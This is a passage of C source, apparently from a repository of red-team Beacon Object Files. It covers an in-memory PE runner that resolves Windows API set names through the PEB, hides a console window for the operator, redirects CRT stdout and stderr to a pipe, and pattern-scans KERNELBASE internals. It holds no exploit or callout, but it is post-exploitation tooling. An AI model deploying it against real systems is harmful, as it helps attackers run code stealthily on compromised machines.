PWCHAR ApiSetNameToResolve,\n    IN USHORT ApiSetNameToResolveLength\n)\n{\n    LONG                        Low                  = 0;\n    LONG                        Middle               = 0;\n    LONG                        High                 = 0;\n    LONG                        Result               = 0;\n    PAPI_SET_NAMESPACE_ARRAY_V4 ApiSetNamespaceArray = NULL;\n    PAPI_SET_NAMESPACE_ENTRY_V4 ApiSetNamespaceEntry = NULL;\n\n    ApiSetNamespaceArray = (PAPI_SET_NAMESPACE_ARRAY_V4)ApiSetNamespace;\n\n    Low = 0;\n    High = (LONG)(ApiSetNamespaceArray->Count - 1);\n\n    while (High >= Low) {\n        Middle = (High + Low) >> 1;\n\n        ApiSetNamespaceEntry = GET_API_SET_NAMESPACE_ENTRY_V4(ApiSetNamespace, Middle);\n\n        Result = RtlCompareUnicodeStrings(\n            ApiSetNameToResolve,\n            ApiSetNameToResolveLength,\n            GET_API_SET_NAMESPACE_ENTRY_NAME_V4(ApiSetNamespace, ApiSetNamespaceEntry),\n            ApiSetNamespaceEntry->NameLength,\n            TRUE);\n        if (Result < 0) {\n            High = Middle - 1;\n        } else if (Result > 0) {\n            Low = Middle + 1;\n        } else {\n            return ApiSetNamespaceEntry;\n        }\n    }\n\n    return NULL;\n}\n\nPAPI_SET_VALUE_ENTRY_V4\nApiSetpSearchForApiSetHostV4(\n    IN PAPI_SET_VALUE_ARRAY_V4 ApiSetValueArray,\n    IN WCHAR *ApiSetNameToResolve,\n    IN USHORT ApiSetNameToResolveLength,\n    IN PAPI_SET_NAMESPACE_ARRAY_V4 ApiSetNamespace)\n{\n    LONG                    Low             = 0;\n    LONG                    Middle          = 0;\n    LONG                    High            = 0;\n    LONG                    Result          = 0;\n    PAPI_SET_VALUE_ENTRY_V4 ApiSetHostEntry = NULL;\n\n    Low = 1; // skip first entry.\n    High = (LONG)(ApiSetValueArray->Count - 1);\n\n    while (High >= Low) {\n        Middle = (High + Low) >> 1;\n\n        ApiSetHostEntry = GET_API_SET_VALUE_ENTRY_V4(ApiSetNamespace, ApiSetValueArray, Middle);\n\n        Result = RtlCompareUnicodeStrings(\n            ApiSetNameToResolve,\n            ApiSetNameToResolveLength,\n            GET_API_SET_VALUE_ENTRY_NAME_V4(ApiSetNamespace, ApiSetHostEntry),\n            ApiSetHostEntry->NameLength,\n            TRUE);\n        if (Result < 0) {\n            High = Middle - 1;\n        } else if (Result > 0) {\n            Low = Middle + 1;\n        } else {\n            return ApiSetHostEntry;\n        }\n    }\n\n    return NULL;\n}\n\nBOOL ApiSetResolveToHostV4(\n    IN PAPI_SET_NAMESPACE ApiSetNamespace,\n    IN PUNICODE_STRING ApiSetNameToResolve,\n    IN PUNICODE_STRING ParentName,\n    OUT PUNICODE_STRING Output)\n{\n    BOOL                        IsResolved             = FALSE;\n    PAPI_SET_NAMESPACE_ENTRY_V4 ResolvedNamespaceEntry = NULL;\n    PAPI_SET_VALUE_ARRAY_V4     ResolvedValueArray     = NULL;\n    PAPI_SET_VALUE_ENTRY_V4     HostLibraryEntry       = NULL;\n    UNICODE_STRING              ApiSetNameNoExtString  = { 0 };\n\n    RtlInitEmptyUnicodeString(Output, NULL, 0);\n\n    //\n    // Skip the prefix.\n    //\n    ApiSetNameNoExtString.Length = ApiSetNameToResolve->Length - 8;\n    ApiSetNameNoExtString.MaximumLength = ApiSetNameNoExtString.Length;\n    ApiSetNameNoExtString.Buffer = RVA2VA(PWCHAR, ApiSetNameToResolve->Buffer, 8);\n\n    //\n    // Cut off the '.DLL' extension.\n    //\n    if (ApiSetNameNoExtString.Length >= sizeof(API_SET_DLL_EXTENSTION) &&\n        ApiSetNameNoExtString.Buffer[(ApiSetNameNoExtString.Length -\n                                      sizeof(API_SET_DLL_EXTENSTION)) / sizeof(WCHAR)] == L'.') {\n        ApiSetNameNoExtString.Length -= sizeof(API_SET_DLL_EXTENSTION);\n    }\n\n    ResolvedNamespaceEntry = ApiSetpSearchForApiSetV4(\n        ApiSetNamespace,\n        ApiSetNameNoExtString.Buffer,\n        ApiSetNameNoExtString.Length / sizeof(WCHAR));\n    if (!ResolvedNamespaceEntry) {\n        goto Exit;\n    }\n\n    //\n    // Get the namspace value array.\n    //\n    ResolvedValueArray = GET_API_SET_NAMESPACE_ENTRY_DATA_V4(ApiSetNamespace,\n                                                             ResolvedNamespaceEntry);\n\n    //\n    // Look for aliases in hosts libraries if necessary.\n    //\n    if (ResolvedValueArray->Count > 1 && ParentName) {\n\n        HostLibraryEntry = ApiSetpSearchForApiSetHostV4(\n            ResolvedValueArray,\n            ParentName->Buffer,\n            ParentName->Length / sizeof(WCHAR),\n            (PAPI_SET_NAMESPACE_ARRAY_V4)ApiSetNamespace);\n\n    } else if (ResolvedValueArray->Count > 0) {\n        HostLibraryEntry = GET_API_SET_VALUE_ENTRY_V4(ApiSetNamespace, ResolvedValueArray, 0);\n    } else {\n        goto Exit;\n    }\n\n    Output->Length = (USHORT)HostLibraryEntry->ValueLength;\n    Output->MaximumLength = Output->Length;\n    Output->Buffer = GET_API_SET_VALUE_ENTRY_VALUE_V4(ApiSetNamespace, HostLibraryEntry);\n\n    IsResolved = TRUE;\n\nExit:\n    return IsResolved;\n}\n\n\n\n//\n// API Set Schema Version 3\n//\n\n#define GET_API_SET_NAMESPACE_ENTRY_V3(ApiSetNamespace, Index) \\\n    ((PAPI_SET_NAMESPACE_ENTRY_V3)(((PAPI_SET_NAMESPACE_ARRAY_V3)(ApiSetNamespace))->Array + \\\n                                        Index))\n\n#define GET_API_SET_NAMESPACE_ENTRY_NAME_V3(ApiSetNamespace, NamespaceEntry) \\\n    ((PWCHAR)((ULONG_PTR)(ApiSetNamespace) + \\\n                ((PAPI_SET_NAMESPACE_ENTRY_V3)(NamespaceEntry))->NameOffset))\n\n#define GET_API_SET_NAMESPACE_ENTRY_DATA_V3(ApiSetNamespace, NamespaceEntry) \\\n    ((PAPI_SET_VALUE_ARRAY_V3)((ULONG_PTR)(ApiSetNamespace) + \\\n                                ((PAPI_SET_NAMESPACE_ENTRY_V3)(NamespaceEntry))->DataOffset))\n\n#define GET_API_SET_VALUE_ENTRY_V3(ApiSetNamespace, ResolvedValueArray, Index) \\\n    ((PAPI_SET_VALUE_ENTRY_V3)(((PAPI_SET_VALUE_ARRAY_V3)(ResolvedValueArray))->Array + \\\n                                        Index))\n\n#define GET_API_SET_VALUE_ENTRY_NAME_V3(ApiSetNamespace, ApiSetValueEntry) \\\n    ((WCHAR*)((ULONG_PTR)(ApiSetNamespace) + \\\n                ((PAPI_SET_VALUE_ENTRY_V3)(ApiSetValueEntry))->NameOffset))\n\n#define GET_API_SET_VALUE_ENTRY_VALUE_V3(ApiSetNamespace, ApiSetValueEntry) \\\n    ((WCHAR*)((ULONG_PTR)(ApiSetNamespace) + \\\n                ((PAPI_SET_VALUE_ENTRY_V3)(ApiSetValueEntry))->ValueOffset))\n\nPAPI_SET_VALUE_ENTRY_V3\nApiSetpSearchForApiSetHostV3(\n    IN PAPI_SET_VALUE_ARRAY_V3 ApiSetValueArray,\n    IN WCHAR *ApiSetNameToResolve,\n    IN USHORT ApiSetNameToResolveLength,\n    IN PAPI_SET_NAMESPACE_ARRAY_V3 ApiSetNamespace)\n{\n    LONG Low                                 = 0;\n    LONG Middle                              = 0;\n    LONG High                                = 0;\n    LONG Result                              = 0;\n    PAPI_SET_VALUE_ENTRY_V3 ApiSetValueEntry = NULL;\n\n    Low = 1; // skip first entry.\n    High = ApiSetValueArray->Count - 1;\n\n    while (High >= Low) {\n        Middle = (High + Low) >> 1;\n\n        ApiSetValueEntry = GET_API_SET_VALUE_ENTRY_V3(ApiSetNamespace, ApiSetValueArray, Middle);\n\n        Result = RtlCompareUnicodeStrings(\n            ApiSetNameToResolve,\n            ApiSetNameToResolveLength,\n            GET_API_SET_VALUE_ENTRY_NAME_V3(ApiSetNamespace, ApiSetValueEntry),\n            ApiSetValueEntry->NameLength,\n            TRUE);\n        if (Result < 0) {\n            High = Middle - 1;\n        } else if (Result > 0) {\n            Low = Middle + 1;\n        } else {\n            return ApiSetValueEntry;\n        }\n    }\n\n    return NULL;\n}\n\nBOOL ApiSetResolveToHostV3(\n    IN PAPI_SET_NAMESPACE ApiSetNamespace,\n    IN PUNICODE_STRING ApiSetNameToResolve,\n    IN PUNICODE_STRING ParentName,\n    OUT PUNICODE_STRING Output)\n{\n    BOOL                        IsResolved             = FALSE;\n    LONG                        Low                    = 0;\n    LONG                        Middle                 = 0;\n    LONG                        High                   = 0;\n    LONG                        Result                 = 0;\n    PAPI_SET_NAMESPACE_ARRAY_V3 ApiSetNamespaceArray   = NULL;\n    PAPI_SET_NAMESPACE_ENTRY_V3 ResolvedNamespaceEntry = NULL;\n    PAPI_SET_VALUE_ARRAY_V3     ResolvedValueArray     = NULL;\n    PAPI_SET_VALUE_ENTRY_V3     HostLibraryEntry       = NULL;\n    UNICODE_STRING              ApiSetNameNoExtString  = { 0 };\n\n    RtlInitEmptyUnicodeString(Output, NULL, 0);\n\n    //\n    // Skip the prefix.\n    //\n    ApiSetNameNoExtString.Length = ApiSetNameToResolve->Length - 8;\n    ApiSetNameNoExtString.MaximumLength = ApiSetNameNoExtString.Length;\n    ApiSetNameNoExtString.Buffer = RVA2VA(PWCHAR, ApiSetNameToResolve->Buffer, 8);\n\n    //\n    // Cut off the '.DLL' extension.\n    //\n    if (ApiSetNameNoExtString.Length >= sizeof(API_SET_DLL_EXTENSTION) &&\n        ApiSetNameNoExtString.Buffer[(ApiSetNameNoExtString.Length -\n                                      sizeof(API_SET_DLL_EXTENSTION)) / sizeof(WCHAR)] == L'.') {\n        ApiSetNameNoExtString.Length -= sizeof(API_SET_DLL_EXTENSTION);\n    }\n\n    ApiSetNamespaceArray = (PAPI_SET_NAMESPACE_ARRAY_V3)ApiSetNamespace;\n    ResolvedNamespaceEntry = NULL;\n\n    Low = 0;\n    High = (LONG)(ApiSetNamespaceArray->Count - 1);\n\n    while (High >= Low) {\n        Middle = (Low + High) >> 1;\n\n        ResolvedNamespaceEntry = GET_API_SET_NAMESPACE_ENTRY_V3(ApiSetNamespace, Middle);\n\n        Result = RtlCompareUnicodeStrings(\n            ApiSetNameNoExtString.Buffer,\n            ApiSetNameNoExtString.Length / sizeof(WCHAR),\n            GET_API_SET_NAMESPACE_ENTRY_NAME_V3(ApiSetNamespace, ResolvedNamespaceEntry),\n            ResolvedNamespaceEntry->NameLength / sizeof(WCHAR),\n            TRUE);\n        if (Result < 0) {\n            High = Middle - 1;\n        } else if (Result > 0) {\n            Low = Middle + 1;\n        } else {\n            break;\n        }\n    }\n\n    //\n    // If the high index is less than the low index, then a matching namespace\n    // entry was not found.\n    //\n    if (High < Low) {\n        goto Exit;\n    }\n\n    //\n    // Get the namspace value array.\n    //\n    ResolvedValueArray = GET_API_SET_NAMESPACE_ENTRY_DATA_V3(ApiSetNamespace, ResolvedNamespaceEntry);\n\n    //\n    // Look for aliases in hosts libraries if necessary.\n    //\n    if (ResolvedValueArray->Count > 1 && ParentName) {\n\n        HostLibraryEntry = ApiSetpSearchForApiSetHostV3(\n            ResolvedValueArray,\n            ParentName->Buffer,\n            ParentName->Length / sizeof(WCHAR),\n            (PAPI_SET_NAMESPACE_ARRAY_V3)ApiSetNamespace);\n    } else {\n        HostLibraryEntry = NULL;\n    }\n\n    //\n    // Default to the first value entry.\n    //\n    if (!HostLibraryEntry) {\n        HostLibraryEntry = GET_API_SET_VALUE_ENTRY_V3(ApiSetNamespace, ResolvedValueArray, 0);\n    }\n\n    //\n    // Output resolved host library.\n    //\n    Output->Length = (USHORT)HostLibraryEntry->ValueLength;\n    Output->MaximumLength = Output->Length;\n    Output->Buffer = GET_API_SET_VALUE_ENTRY_VALUE_V3(ApiSetNamespace, HostLibraryEntry);\n\n    IsResolved = TRUE;\n\nExit:\n    return IsResolved;\n}\n\n\n\n//\n// API Set Schema Version 2\n//\n\n#define GET_API_SET_NAMESPACE_ENTRY_V2(ApiSetNamespace, Index) \\\n    ((PAPI_SET_NAMESPACE_ENTRY_V2)((ULONG_PTR)(ApiSetNamespace) + \\\n                                    ((PAPI_SET_NAMESPACE_ARRAY_V2)(ApiSetNamespace))->Array + \\\n                                        Index))\n\nPAPI_SET_VALUE_ENTRY_V2\nApiSetpSearchForApiSetHostV2(\n    IN PAPI_SET_VALUE_ARRAY_V2 ApiSetValueArray,\n    IN PUNICODE_STRING ApiToResolve,\n    IN PAPI_SET_NAMESPACE ApiSetNamespace)\n{\n    LONG                    Low              = 0;\n    LONG                    Middle           = 0;\n    LONG                    High             = 0;\n    LONG                    Result           = 0;\n    UNICODE_STRING          ApiSetHostString = { 0 };\n    PAPI_SET_VALUE_ENTRY_V2 ApiSetValueEntry = NULL;\n\n    Low = 1; // skip first entry.\n    High = ApiSetValueArray->Count - 1;\n\n    while (High >= Low) {\n        Middle = (High + Low) >> 1;\n\n        ApiSetValueEntry = &ApiSetValueArray->Array[Middle];\n        ApiSetHostString.Length = (USHORT)ApiSetValueEntry->NameLength;\n        ApiSetHostString.MaximumLength = ApiSetHostString.Length;\n        ApiSetHostString.Buffer = RVA2VA(PWCHAR, ApiSetNamespace, ApiSetValueEntry->NameOffset);\n\n        Result = RtlCompareUnicodeString(ApiToResolve, &ApiSetHostString, TRUE);\n\n        if (Result < 0) {\n            High = Middle - 1;\n        } else if (Result > 0) {\n            Low = Middle + 1;\n        } else {\n            return ApiSetValueEntry;\n        }\n    }\n\n    return NULL;\n}\n\nBOOL ApiSetResolveToHostV2(\n    IN PAPI_SET_NAMESPACE ApiSetNamespace,\n    IN PUNICODE_STRING ApiSetNameToResolve,\n    IN PUNICODE_STRING ParentName,\n    OUT PUNICODE_STRING Output)\n{\n    BOOL                        IsResolved            = FALSE;\n    LONG                        Low                   = 0;\n    LONG                        Middle                = 0;\n    LONG                        High                  = 0;\n    LONG                        Result                = 0;\n    PAPI_SET_NAMESPACE_ARRAY_V2 ApiSetNamespaceArray  = NULL;\n    PAPI_SET_NAMESPACE_ENTRY_V2 ApiSetNamespaceEntry  = NULL;\n    PAPI_SET_VALUE_ARRAY_V2     ApiSetValueArray      = NULL;\n    PAPI_SET_VALUE_ENTRY_V2     HostLibraryEntry      = NULL;\n    UNICODE_STRING              ApiSetNamespaceString = { 0 };\n    UNICODE_STRING              ApiSetNameNoExtString = { 0 };\n\n    RtlInitEmptyUnicodeString(Output, NULL, 0);\n\n    //\n    // Skip the prefix.\n    //\n    ApiSetNameNoExtString.Length = ApiSetNameToResolve->Length - 8;\n    ApiSetNameNoExtString.MaximumLength = ApiSetNameNoExtString.Length;\n    ApiSetNameNoExtString.Buffer = RVA2VA(PWCHAR, ApiSetNameToResolve->Buffer, 8);\n\n    //\n    // Cut off the '.DLL' extension.\n    //\n    if (ApiSetNameNoExtString.Length >= sizeof(API_SET_DLL_EXTENSTION) &&\n        ApiSetNameNoExtString.Buffer[(ApiSetNameNoExtString.Length -\n                                      sizeof(API_SET_DLL_EXTENSTION)) / sizeof(WCHAR)] == L'.') {\n        ApiSetNameNoExtString.Length -= sizeof(API_SET_DLL_EXTENSTION);\n    }\n\n    ApiSetNamespaceArray = (PAPI_SET_NAMESPACE_ARRAY_V2)ApiSetNamespace;\n    ApiSetNamespaceEntry = NULL;\n\n    Low = 0;\n    High = (LONG)(ApiSetNamespaceArray->Count - 1);\n\n    while (High >= Low) {\n        Middle = (Low + High) >> 1;\n\n        ApiSetNamespaceEntry = GET_API_SET_NAMESPACE_ENTRY_V2(ApiSetNamespace, Middle);\n        ApiSetNamespaceString.Length = (USHORT)ApiSetNamespaceEntry->NameLength;\n        ApiSetNamespaceString.MaximumLength = ApiSetNamespaceString.Length;\n        ApiSetNamespaceString.Buffer = RVA2VA(PWCHAR, ApiSetNamespace, ApiSetNamespaceEntry->NameOffset);\n\n        Result = RtlCompareUnicodeString(&ApiSetNameNoExtString, &ApiSetNamespaceString, TRUE);\n\n        if (Result < 0) {\n            High = Middle - 1;\n        } else if (Result > 0) {\n            Low = Middle + 1;\n        } else {\n            break;\n        }\n    }\n\n    //\n    // If the high index is less than the low index, then a matching namespace\n    // entry was not found.\n    //\n    if (High < Low) {\n        goto Exit;\n    }\n\n    //\n    // Get the namspace value array.\n    //\n    ApiSetValueArray = RVA2VA(PAPI_SET_VALUE_ARRAY_V2, ApiSetNamespace, ApiSetNamespaceEntry->DataOffset);\n\n    //\n    // Look for aliases in hosts libraries if necessary.\n    //\n    if (ApiSetValueArray->Count > 1 && ParentName) {\n\n        HostLibraryEntry = ApiSetpSearchForApiSetHostV2(\n            ApiSetValueArray,\n            ParentName,\n            ApiSetNamespace);\n    } else {\n        HostLibraryEntry = NULL;\n    }\n\n    //\n    // Default to the first value entry.\n    //\n    if (!HostLibraryEntry) {\n        HostLibraryEntry = ApiSetValueArray->Array;\n    }\n\n    //\n    // Output resolved host library.\n    //\n    Output->Length = (USHORT)HostLibraryEntry->ValueLength;\n    Output->MaximumLength = Output->Length;\n    Output->Buffer = RVA2VA(PWCHAR, ApiSetNamespace, HostLibraryEntry->ValueOffset);\n\n    IsResolved = TRUE;\n\nExit:\n    return IsResolved;\n}\n\nBOOL ApiSetpResolve(\n    IN PUNICODE_STRING Name,\n    IN PUNICODE_STRING BaseName,\n    OUT PUNICODE_STRING ResolvedName)\n{\n    PPEB2              peb       = NULL;\n    BOOL               Resolved  = FALSE;\n    PAPI_SET_NAMESPACE ApiSetMap = NULL;\n\n    peb = (PPEB2)READ_MEMLOC(PEB_OFFSET);\n    ApiSetMap = peb->ApiSetMap;\n\n    switch (ApiSetMap->Version) {\n\n        //\n        // API set schema version 2\n        //\n    case API_SET_SCHEMA_VERSION_V2:\n        Resolved = ApiSetResolveToHostV2(ApiSetMap, Name, BaseName, ResolvedName);\n        break;\n\n        //\n        // API set schema version 3\n        //\n    case API_SET_SCHEMA_VERSION_V3:\n        Resolved = ApiSetResolveToHostV3(ApiSetMap, Name, BaseName, ResolvedName);\n        break;\n\n        //\n        // API set schema version 4\n        //\n    case API_SET_SCHEMA_VERSION_V4:\n        Resolved = ApiSetResolveToHostV4(ApiSetMap, Name, BaseName, ResolvedName);\n        break;\n\n        //\n        // API set schema version 6\n        //\n    case API_SET_SCHEMA_VERSION_V6:\n        Resolved = ApiSetResolveToHostV6(ApiSetMap, Name, BaseName, ResolvedName);\n        break;\n\n    default:\n        DPRINT_ERR(\"API set version not supported: %d\", ApiSetMap->Version);\n        return FALSE;\n    }\n\n    if (!Resolved)\n    {\n        DPRINT_ERR(\"Failed to resolve API Set: %ls\", Name->Buffer);\n    }\n\n    return Resolved;\n}\n\nBOOL is_api_set(\n    IN PCHAR dll_name)\n{\n    if (!strncmp(dll_name, \"api-\", 4) || !strncmp(dll_name, \"ext-\", 4))\n        return TRUE;\n    return FALSE;\n}\n\nPCHAR api_set_resolve(\n    IN PCHAR dll_name)\n{\n    BOOL           success        = FALSE;\n    UNICODE_STRING api_to_resolve = { 0 };\n    UNICODE_STRING uresolved      = { 0 };\n    PWCHAR         dll_wname      = NULL;\n    PCHAR          resolved       = NULL;\n\n    if (!is_api_set(dll_name))\n    {\n        resolved = intAlloc(sizeof(CHAR) * MAX_PATH);\n        StringCopyA(resolved, dll_name);\n        return resolved;\n    }\n\n    dll_wname = intAlloc(sizeof(WCHAR) * MAX_PATH);\n    CharStringToWCharString(dll_wname, dll_name, MAX_PATH);\n    myRtlInitUnicodeString(&api_to_resolve, dll_wname);\n\n    success = ApiSetpResolve(\n        &api_to_resolve,\n        NULL,\n        &uresolved);\n\n    intFree(dll_wname);\n\n    if (!success)\n        return NULL;\n\n    resolved = intAlloc(sizeof(CHAR) * MAX_PATH);\n    WCharStringToCharString(resolved, uresolved.Buffer, uresolved.MaximumLength / 2);\n    //DPRINT(\"api set resolved %s -> %s\", dll_name, resolved);\n\n    return resolved;\n}\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/source/console.c",
    "content": "\n#include \"console.h\"\n\n/*\n * This is simply in case the operator 100% needs a real console for whatever reason\n */\nBOOL allocate_console(\n    IN PLOADED_PE_INFO peinfo)\n{\n    if (!peinfo->alloc_console)\n        return TRUE;\n\n    DPRINT(\"allocate_console\");\n\n    /*\n     * if a console is already allocated, there is no need to allocate one\n     */\n    if (get_console_handle())\n    {\n        DPRINT(\"A console is already allocated, skipping\")\n        return TRUE;\n    }\n\n    BOOL ( WINAPI *AllocConsole ) ( VOID )     = xGetProcAddress(xGetLibAddress(\"kernel32\", TRUE, NULL), \"AllocConsole\", 0);\n    HWND ( WINAPI *GetConsoleWindow ) ( VOID ) = xGetProcAddress(xGetLibAddress(\"kernel32\", TRUE, NULL), \"GetConsoleWindow\", 0);\n    BOOL ( WINAPI *ShowWindow ) ( HWND, int )  = xGetProcAddress(xGetLibAddress(\"user32\", TRUE, NULL),   \"ShowWindow\", 0);\n\n    if (!AllocConsole)\n    {\n        api_not_found(\"AllocConsole\");\n        return FALSE;\n    }\n\n    if (!AllocConsole())\n    {\n        function_failed(\"AllocConsole\");\n        //continue anyways...\n    }\n\n    if (!ShowWindow)\n    {\n        api_not_found(\"ShowWindow\");\n        return TRUE;\n    }\n\n    if (!GetConsoleWindow)\n    {\n        api_not_found(\"GetConsoleWindow\");\n        return TRUE;\n    }\n\n    if (!ShowWindow(GetConsoleWindow(), SW_HIDE))\n    {\n        function_failed(\"ShowWindow\");\n        //continue anyways...\n    }\n\n    return TRUE;\n}\n\n/*\n * for MinGW binaries, replace the _file attribute of stdout and stderr\n * with the file descriptor of the anonymous pipe\n */\nBOOL redirect_std_out_err_for_mingw(\n    IN PLOADED_PE_INFO peinfo)\n{\n#ifdef _UCRT\n    (void)peinfo;\n    return TRUE;\n#else\n\n    FILE* file = NULL;\n\n    DPRINT(\"redirect_std_out_err_for_mingw\");\n\n    /*\n     * if the PE did not load msvcrt.dll, we can skip this step\n     */\n    if (!peinfo->loaded_msvcrt)\n    {\n        DPRINT(\"PE didn't load msvcrt.dll, skipping\");\n        return TRUE;\n    }\n\n    int   ( WINAPI *msvcrt_open_osfhandle ) ( intptr_t, int ) = xGetProcAddress(xGetLibAddress(\"msvcrt\", TRUE, NULL), \"_open_osfhandle\", 0);\n    FILE* ( WINAPI *msvcrt__iob_func ) ( VOID )               = xGetProcAddress(xGetLibAddress(\"msvcrt\", TRUE, NULL), \"__iob_func\", 0);\n\n    if (!msvcrt_open_osfhandle || !msvcrt__iob_func)\n    {\n        api_not_found(\"MSVCRT$_open_osfhandle\");\n        api_not_found(\"MSVCRT$__iob_func\");\n        return FALSE;\n    }\n\n    if (!peinfo->Handles->fo_msvc)\n    {\n        // convert the pipe handle into a file descriptor\n        peinfo->Handles->fo_msvc = msvcrt_open_osfhandle((intptr_t)peinfo->Handles->hWrite, _O_WRONLY);\n        if (peinfo->Handles->fo_msvc == -1)\n        {\n            peinfo->Handles->fo_msvc = 0;\n            function_failed(\"MSVCRT$_open_osfhandle\");\n            return FALSE;\n        }\n    }\n\n    // stdout\n    file = &msvcrt__iob_func()[1];\n\n    if (file->_file == 1)\n    {\n        /*\n         * The stdout FILE seems to be initialized\n         * modifying it can make the program hang\n         */\n\n        DPRINT_ERR(\"stdout is initialized, skipping\");\n    }\n    else\n    {\n        // save the original state of stdout\n        peinfo->original_msvc_stdout = intAlloc(sizeof(FILE));\n        memcpy(peinfo->original_msvc_stdout, file, sizeof(FILE));\n        peinfo->msvc_stdout = file;\n\n        // modify stdout\n        memset(file, 0, sizeof(FILE));\n        file->_flag = _IOWRT | _IONBF;\n        file->_file = peinfo->Handles->fo_msvc;\n\n        peinfo->modified_msvc_stdout = TRUE;\n    }\n\n    // stderr\n    file = &msvcrt__iob_func()[2];\n\n    if (file->_file == 2)\n    {\n        /*\n         * The stderr FILE seems to be initialized\n         * modifying it can make the program hang\n         */\n\n        DPRINT_ERR(\"stderr is initialized, skipping\");\n    }\n    else\n    {\n        // save the original state of stderr\n        peinfo->original_msvc_stderr = intAlloc(sizeof(FILE));\n        memcpy(peinfo->original_msvc_stderr, file, sizeof(FILE));\n        peinfo->msvc_stderr = file;\n\n        // modify stderr\n        memset(file, 0, sizeof(FILE));\n        file->_flag = _IOWRT | _IONBF;\n        file->_file = peinfo->Handles->fo_msvc;\n\n        peinfo->modified_msvc_stderr = TRUE;\n    }\n\n    return TRUE;\n#endif\n}\n\n/*\n * for MSVC binaries, replace the _file attribute of stdout and stderr\n * with the file descriptor of the anonymous pipe\n */\nBOOL redirect_std_out_err_for_msvc(\n    IN PLOADED_PE_INFO peinfo)\n{\n    PUCRTBASE_FILE file = NULL;\n\n    DPRINT(\"redirect_std_out_err_for_msvc\");\n\n    /*\n     * if the PE did not load ucrtbase.dll, we can skip this step\n     */\n    if (!peinfo->loaded_ucrtbase)\n    {\n        DPRINT(\"PE didn't load ucrtbase.dll, skipping\");\n        return TRUE;\n    }\n\n    int            ( WINAPI *ucrtbase_open_osfhandle ) ( intptr_t, int ) = xGetProcAddress(xGetLibAddress(\"ucrtbase\", TRUE, NULL), \"_open_osfhandle\", 0);\n    PUCRTBASE_FILE ( WINAPI *ucrtbase__acrt_iob_func ) ( int )           = xGetProcAddress(xGetLibAddress(\"ucrtbase\", TRUE, NULL), \"__acrt_iob_func\", 0);\n\n    if (!ucrtbase_open_osfhandle || !ucrtbase__acrt_iob_func)\n    {\n        api_not_found(\"UCRTBASE$_open_osfhandle\");\n        api_not_found(\"UCRTBASE$__acrt_iob_func\");\n        return FALSE;\n    }\n\n    if (!peinfo->Handles->fo_ucrtbase)\n    {\n        // convert the pipe handle into a file descriptor (using the ucrtbase version of _open_osfhandle)\n        peinfo->Handles->fo_ucrtbase = ucrtbase_open_osfhandle((intptr_t)peinfo->Handles->hWrite, _O_WRONLY);\n        if (peinfo->Handles->fo_ucrtbase == -1)\n        {\n            peinfo->Handles->fo_ucrtbase = 0;\n            function_failed(\"UCRTBASE$_open_osfhandle\");\n            return FALSE;\n        }\n    }\n\n    // stdout\n    file = ucrtbase__acrt_iob_func(1);\n\n    if (file->_file == 1)\n    {\n        /*\n         * The stdout FILE seems to be initialized\n         * modifying it can make the program hang\n         */\n\n        DPRINT_ERR(\"stdout is initialized, skipping\");\n    }\n    else\n    {\n        // save the original state of stdout\n        peinfo->original_ucrtbase_stdout = intAlloc(sizeof(UCRTBASE_FILE));\n        memcpy(peinfo->original_ucrtbase_stdout, file, sizeof(UCRTBASE_FILE));\n        peinfo->ucrtbase_stdout = file;\n\n        // modify stdout\n        memset(file, 0, sizeof(UCRTBASE_FILE));\n        file->_flags = 0x2000 | 0x400 | 0x2;\n        file->_file  = peinfo->Handles->fo_ucrtbase;\n        file->_lock.LockCount = -1;\n\n        peinfo->modified_ucrtbase_stdout = TRUE;\n    }\n\n    // stderr\n    file = ucrtbase__acrt_iob_func(2);\n\n    if (file->_file == 2)\n    {\n        /*\n         * The stderr FILE seems to be initialized\n         * modifying it can make the program hang\n         */\n\n        DPRINT_ERR(\"stderr is initialized, skipping\");\n    }\n    else\n    {\n        // save the original state of stderr\n        peinfo->original_ucrtbase_stderr = intAlloc(sizeof(UCRTBASE_FILE));\n        memcpy(peinfo->original_ucrtbase_stderr, file, sizeof(UCRTBASE_FILE));\n        peinfo->ucrtbase_stderr = file;\n\n        // modify stderr\n        memset(file, 0, sizeof(UCRTBASE_FILE));\n        file->_flags = 0x2000 | 0x400 | 0x2;\n        file->_file  = peinfo->Handles->fo_ucrtbase;\n        file->_lock.LockCount = -1;\n\n        peinfo->modified_ucrtbase_stderr = TRUE;\n    }\n\n    return TRUE;\n}\n\nPVOID parse_free_console(\n    IN PBYTE Addr)\n{\n    UINT32 Offset                 = 0;\n#ifdef _WIN64\n    PVOID  Rip                    = NULL;\n#endif\n    PVOID  ConsoleConnectionState = NULL;\n    PBYTE  bytes_to_match         = (PBYTE)\"\\x80\\x3d\";\n\n    if (!Addr)\n    {\n        api_not_found(\"FreeConsole\");\n        return NULL;\n    }\n\n    /*\n     * KERNELBASE$FreeConsole:\n     *  ...\n     *  80 3d a2        cmp        byte ptr [rip+0x1992a2], 0x0\n     *  92 19 00 00\n     */\n\n    if (!find_pattern(Addr, 0x30, bytes_to_match, \"xx\", (PVOID*)&Addr))\n    {\n        DPRINT(\"Pattern not found in FreeConsole\");\n        return NULL;\n    }\n\n#ifdef _WIN64\n    // address of the next instruction\n    Rip  = RVA2VA(PVOID, Addr, 7);\n#endif\n\n    // skip over 0x80 0x3d\n    Addr++;\n    Addr++;\n\n    // read the offset\n    Offset = *((PUINT32)Addr);\n\n#ifdef _WIN64\n    // the reference is RIP-releative\n    Addr = RVA2VA(PVOID, Rip, Offset);\n#else\n    Addr = (PVOID)Offset;\n#endif\n\n    // we have a reference to IsConnected, get the address of the base structure\n    ConsoleConnectionState = CONTAINING_RECORD(Addr, CONSOLE_CONNECTION_STATE, IsConnected);\n    DPRINT(\"ConsoleConnectionState: 0x%p\", ConsoleConnectionState);\n\n    return ConsoleConnectionState;\n}\n\nPVOID parse_base_get_console_reference(\n    IN PBYTE Addr)\n{\n#ifdef _WIN64\n    UINT32 Offset                 = 0;\n#endif\n    PVOID  Rip                    = NULL;\n    PVOID  ConsoleReference       = NULL;\n    PVOID  ConsoleConnectionState = NULL;\n\n    if (!Addr)\n    {\n        api_not_found(\"BaseGetConsoleReference\");\n        return NULL;\n    }\n\n    HANDLE (WINAPI *BaseGetConsoleReference) (void) = (PVOID)Addr;\n\n#ifdef _WIN64\n    /*\n     * KERNELBASE$BaseGetConsoleReference:\n     *  48 8b 05 f9 94 19 00    mov    rax,QWORD PTR [rip+0x1994f9]\n     *  c3                      ret\n     */\n\n    // address of the 'ret' instruction\n    Rip  = RVA2VA(PVOID, Addr, 7);\n\n    if (*Addr != 0x48)\n    {\n        DPRINT_ERR(\"failed to parse 